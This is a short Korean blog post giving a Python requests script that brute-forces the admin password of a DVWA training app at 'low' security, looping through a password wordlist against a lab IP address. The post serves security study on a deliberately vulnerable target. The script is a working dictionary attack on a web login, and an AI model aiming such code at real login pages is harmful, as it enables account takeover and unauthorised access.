Self-Improvement

Python의 requests 모듈을 통한 DVWA-Low Brute Force 자동화 코드 본문

프로그래밍/Python

Python의 requests 모듈을 통한 DVWA-Low Brute Force 자동화 코드

JoGeun 2018. 10. 25. 14:57
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import sys
from bs4 import BeautifulSoup
import re
 
#login
login_url = 'http://192.168.10.100/dvwa/vulnerabilities/brute/'
proxies ={'http': 'http://localhost:9000'}
session={'security':'low', 'PHPSESSID':'pf6ilrarqam459ebn9ltmec8tv'}
 
fd = open("password.txt")
while True:
    pass1=fd.readline()
    pass1=pass1.replace("\n",'')
    if pass1 == '':
        sys.exit(1)
    login_data={'username':'admin','password':pass1,'Login':'Login'}
    resp=requests.get(login_url,params=login_data,cookies=session, proxies=proxies)
    soup=BeautifulSoup(resp.text,'lxml')
    if re.search("Welcome",str(soup.p.string)):
        print("[OK] password is", pass1)
        sys.exit(2)
    else:
        print("[FAIL] password ls", pass1)
fd.close()
sys.exit(3)
cs


'프로그래밍 > Python' 카테고리의 다른 글

python의 argparser 모듈 기본적인 사용법  (0) 2019.01.10
Python의 requests Base64 Dictionary 코드  (0) 2019.01.09
Head First Python 5-2장  (0) 2018.10.22
Head First Python 6-1장  (0) 2018.10.21
requests으로 DVWA Low XSS  (0) 2018.10.21